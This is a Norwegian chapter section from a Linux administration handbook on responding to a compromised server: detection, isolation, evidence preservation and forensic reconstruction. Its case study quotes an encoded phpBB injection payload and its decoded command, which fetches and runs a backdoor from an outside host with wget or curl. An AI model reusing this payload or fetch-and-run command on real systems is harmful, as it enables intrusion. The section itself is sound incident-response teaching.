14.7. Å håndtere en kompromittert maskin
Til tross for de beste intensjoner og et nøye utformet sikkerhetsopplegg, kan en administrator likevel stå ansikt til ansikt med en kapring. Denne seksjonen inneholder noen veiledninger om hvordan man skal reagere konfrontert med slike uheldige omstendigheter.
14.7.1. Avdekke og se innbruddet
Det første skrittet for å reagere mot et innbrudd er å bli oppmerksom på en slik handling. Dette er ikke selvinnlysende, spesielt uten et tilstrekkelig infrastruktur for monitorering.
Innbruddshandlinger oppdages ofte ikke før de har direkte konsekvenser for de legitime tjenestene på vertsmaskinen, for eksempel at tilkoblinger bremses ned, noen brukere ikke klarer å koble til, eller noen annen form for feil. Konfrontert med disse problemene, må administratoren ta en god titt på maskinen, og nøye granske hva den feiler. Dette er vanligvis det tidspunktet da man oppdager en uvanlig prosess, for eksempel en som heter apache i stedet for standarden /usr/sbin/apache2. Hvis vi følger dette eksemplet, er tingen å gjøre å være oppmerksom på prosessidentifisereren, og sjekke /proc/pid/exe for å se hvilket program denne prosessen kjører for øyeblikket:
# ls -al /proc/3719/exe
lrwxrwxrwx 1 www-data www-data 0 2007-04-20 16:19 /proc/3719/exe -> /var/tmp/.bash_httpd/psybnc
Kjører et program installert under /var/tmp/ som en nettjener? Ingen tvil igjen, maskinen er kompromittert.
Dette er bare ett eksempel, men mange andre tips kan få det til å ringe i administratorens bjelle:
et alternativ til en kommando som ikke lenger fungerer; versjonen av programvaren som kommandoen hevder å være, samsvarer ikke med den versjonen som den er ment å være installert i samsvar med dpkg;
en ledetekst eller en velkomstmelding som indikerer at den siste forbindelsen kom fra en ukjent tjener på et annet kontinent;
feil forårsaket av at /tmp/-partisjon er full, noe som viste seg å være med ulovlige kopierte filmer;
og så videre.
14.7.2. Å sette tjeneren Off-Line
I alle, bortsett fra de mest eksotiske tilfeller, kommer innbrudd fra nettverket, og angriperen trenger et fungerende nettverk for å nå sine mål (tilgang til konfidensielle data, deling av ulovlige filer, skjuling av sin identitet ved å bruke maskinen som til stafett, og så videre). Å koble datamaskinen fra nettverket vil hindre angriperen fra å nå disse målene, hvis denne ikke har klart å gjøre det allerede.
Dette kan bare være mulig hvis tjeneren er fysisk tilgjengelig. Når tjeneren leier plass hos en vertsleverandør på en annen kant av landet, eller hvis tjeneren ikke er tilgjengelig av noen annen grunn, er det vanligvis en god idé å starte med å samle viktig informasjon (se
Seksjon 14.7.3, «Beholde alt som kan brukes som bevis»,
Seksjon 14.7.5, «Rettslig analyse» og
Seksjon 14.7.6, «Å rekonstruere et angrepsscenario»), deretter å isolere denne tjeneren så mye som mulig ved å lukke så mange tjenester som mulig (vanligvis, alt untatt
sshd). Denne saken er fortsatt vanskelig, siden man ikke kan utelukke muligheten for at angriperen har samme SSH-tilgang som administratoren har. Dette gjør det vanskeligere å «rense» maskinene.
14.7.3. Beholde alt som kan brukes som bevis
Å forstå angrep og/eller vinne søksmål mot angriperne forutsetter å ta kopier av alle viktige elementer; medregnet innholdet på harddisken, en liste over alle prosesser som kjører, og en liste over alle åpne tilkoblinger. Innholdet i RAM kan også benyttes, men det er sjelden brukt i praksis.
I sakens hete er administratorer ofte fristet til å utføre mange kontroller av den kompromitterte maskinen; det er vanligvis ikke en god idé. Hver kommando er potensielt skadelig, og kan slette deler av bevis. Kontrollene bør begrenses til minimumssettet, (netstat -tupan for nettverksforbindelser, ps auxf for en liste med prosesser, ls -alR /proc/[0-9]* for litt mer informasjon om programmer som kjører), og hver utført sjekk bør omsorgsfullt skrives ned.
Når de «dynamiske» elementer ha blitt lagret, er neste steg å lagre et komplett bilde av harddisken. Å lage et slikt bilde er umulig hvis filsystemet er fortsatt utvikles, og det derfor må monteres om skrivebeskyttet . Den enkleste løsningen er ofte å stoppe tjeneren brutalt (etter å ha kjørt sync), og starte den på nytt med en rednings-CD. Hver partisjon skal kopieres med et verktøy som dd. Disse bildene kan sendes til en annen tjener (muligens med det veldig praktiske nc-verktøyet). En annen mulighet kan være enda enklere: Bare få disken ut av maskinen og erstatt den med en ny en som kan formateres og reinstalleres.
Tjeneren skal ikke bringes tilbake i drift uten en fullstendig reinstallasjon. Dersom skaden var alvorlig (hvis administrative rettigheter lakk ut), er det nesten ingen annen måte å være sikker på at vi blir kvitt alt angriperen kan ha etterlatt seg (spesielt bakdør). Selvfølgelig må alle de nyeste sikkerhetsoppdateringene benyttes, slik som å plugge den sårbarheten som brukes av angriperen. Ideelt sett: Å analysere angrepet skal peke på denne angrepsmetoden, slik at man faktisk kan være sikker på å få fikset den. Ellers kan man bare håpe at sårbarheten var en av dem som er ordnet via oppdateringene.
Reinstalling a remote server is not always easy; it may involve assistance from the hosting company, because not all such companies provide automated reinstallation systems or remote consoles (although these cases should be rare). Care should be taken not to reinstall the machine from backups taken later than the compromise. Ideally, only data should be restored, the actual software should be reinstalled from the installation media.
Nå som tjenesten er gjenopprettet, er det på tide å se nærmere på diskbilder av det kompromitterte systemet for å forstå angrepsmetoden. Ved montering av disse bildene, bør man sørge for å bruke ro,nodev,noexec,noatime-alternativene for å unngå å endre innholdet (inkludert tidsstempler for tilgangen til filer), eller å kjøre kompromitterte programmer ved en feiltakelse.
Å gjennomgå et angrepsscenario innebærer vanligvis å lete etter alt som ble endret og kjørt:
Å lese .bash_history-filer er ofte svært interessant;
det gjør også listing av filer som nylig ble opprettet, endret eller åpnet;
strings-kommandoen kan være til hjelp med å identifisere programmer installert av angriperen, ved å ekstrahere strenger fra binærfiler;
loggfilene i /var/log/ gjør det ofte mulig å rekonstruere hendelsesrekkefølgen;
verktøy for spesielle formål tillater også gjenoppretting av innholdet i potensielt slettede filer, medregnet loggfiler som angripere ofte sletter.
Noen av disse operasjonene kan gjøres enklere med spesialisert programvare. Spesielt
sleuthkit-pakken inneholder mange verktøy for å analysere et filsystem. Bruken er gjort enklere med det grafiske grensesnittet
Autopsy Forensic Browser (i
autopsy-pakken). Noen Linux-distribusjoner har et "kjørbar installering"-avtrykk og inneholder mange programmer for dataetterforskning, for eksempel Kali Linux (se
Seksjon A.8, «Kali Linux»), med sin
forensic mode, BlackArchLinux, og den kommersielle Grml-Forensic, basert på Grml (se
Seksjon A.6, «Grml»).
14.7.6. Å rekonstruere et angrepsscenario
Alle elementene samlet under analysen skal passe sammen som brikker i et puslespill; etableringen av de første mistenkelige filer er ofte korrelert med logger som beviser brudd. Et virkelig eksempel bør være tydeligere enn lange teoretiske skriblinger.
Den følgende loggen er et utdrag fra en Apache access.log:
www.falcot.com 200.58.141.84 - - [27/Nov/2004:13:33:34 +0100] "GET /phpbb/viewtopic.php?t=10&highlight=%2527%252esystem(chr(99)%252echr(100)%252echr(32)%252echr(47)%252echr(116)%252echr(109)%252echr(112)%252echr(59)%252echr(32)%252echr(119)%252echr(103)%252echr(101)%252echr(116)%252echr(32)%252echr(103)%252echr(97)%252echr(98)%252echr(114)%252echr(121)%252echr(107)%252echr(46)%252echr(97)%252echr(108)%252echr(116)%252echr(101)%252echr(114)%252echr(118)%252echr(105)%252echr(115)%252echr(116)%252echr(97)%252echr(46)%252echr(111)%252echr(114)%252echr(103)%252echr(47)%252echr(98)%252echr(100)%252echr(32)%252echr(124)%252echr(124)%252echr(32)%252echr(99)%252echr(117)%252echr(114)%252echr(108)%252echr(32)%252echr(103)%252echr(97)%252echr(98)%252echr(114)%252echr(121)%252echr(107)%252echr(46)%252echr(97)%252echr(108)%252echr(116)%252echr(101)%252echr(114)%252echr(118)%252echr(105)%252echr(115)%252echr(116)%252echr(97)%252echr(46)%252echr(111)%252echr(114)%252echr(103)%252echr(47)%252echr(98)%252echr(100)%252echr(32)%252echr(45)%252echr(111)%252echr(32)%252echr(98)%252echr(100)%252echr(59)%252echr(32)%252echr(99)%252echr(104)%252echr(109)%252echr(111)%252echr(100)%252echr(32)%252echr(43)%252echr(120)%252echr(32)%252echr(98)%252echr(100)%252echr(59)%252echr(32)%252echr(46)%252echr(47)%252echr(98)%252echr(100)%252echr(32)%252echr(38))%252e%2527 HTTP/1.1" 200 27969 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)"
Dette eksemplet samsvarer med utnyttelse av et gammelt sikkerhetsproblem i phpBB.
Å dekode denne lange URL-en fører til at en forstår at angriperen klarte å kjøre noe PHP-kode, nemlig: system("cd /tmp; wget gabryk.altervista.org/bd || curl gabryk.altervista.org/bd -o bd; chmod +x bd; ./bd &"). Selvfølgelig ble en bd-fil funnet i /tmp/. Å kjøre strings /mnt/tmp/bd returnerer, blant andre strenger, PsychoPhobia Backdoor is starting.... Dette ser virkelig ut som en bakdør.
En tid senere ble denne tilgangen brukt til å laste ned, installere og kjøre en IRC bot som er koblet til et underjordisk IRC-nettverk. Oppstarten kan da styres via denne protokollen, og instrueres til å laste ned filer til deling. Dette programmet har også sin egen loggfil:
** 2004-11-29-19:50:15: NOTICE: :[email protected] NOTICE ReV|DivXNeW|504 :DCC Chat (82.50.72.202)
** 2004-11-29-19:50:15: DCC CHAT attempt authorized from [email protected]
** 2004-11-29-19:50:15: DCC CHAT received from GAB, attempting connection to 82.50.72.202:1024
** 2004-11-29-19:50:15: DCC CHAT connection suceeded, authenticating
** 2004-11-29-19:50:20: DCC CHAT Correct password
(...)
** 2004-11-29-19:50:49: DCC Send Accepted from ReV|DivXNeW|502: In.Ostaggio-iTa.Oper_-DvdScr.avi (713034KB)
(...)
** 2004-11-29-20:10:11: DCC Send Accepted from GAB: La_tela_dell_assassino.avi (666615KB)
(...)
** 2004-11-29-21:10:36: DCC Upload: Transfer Completed (666615 KB, 1 hr 24 sec, 183.9 KB/sec)
(...)
** 2004-11-29-22:18:57: DCC Upload: Transfer Completed (713034 KB, 2 hr 28 min 7 sec, 80.2 KB/sec)
Disse sporene viser at to videofiler er lagret på tjeneren ved hjelp av IP-adressen 82.50.72.202.
Parallelt har angriperen også lastet ned et par ekstra filer,/tmp/pt og /tmp/loginx. Å kjøre disse filene gjennom strings leder til strenger slike som Shellcode placed at 0x%08lx og Now wait for suid shell.... Disse ser ut som programmer som utnytter lokale sårbarheter for å få administrative rettigheter. Hadde de nådd sine mål? I dette tilfellet sannsynligvis ikke, ettersom ingen filer synes å ha blitt modifisert etter det første innbruddet.
I dette eksemplet er hele inntrengningen rekonstruert, og det kan utledes at angriperen har greid å dra nytte av det kompromitterte systemet i rundt tre dager. Men det viktigste elementet i analysen er at sikkerhetsbruddet er identifisert, og administratoren kan være sikker på at den nye installasjonen virkelig fikser sårbarheten.
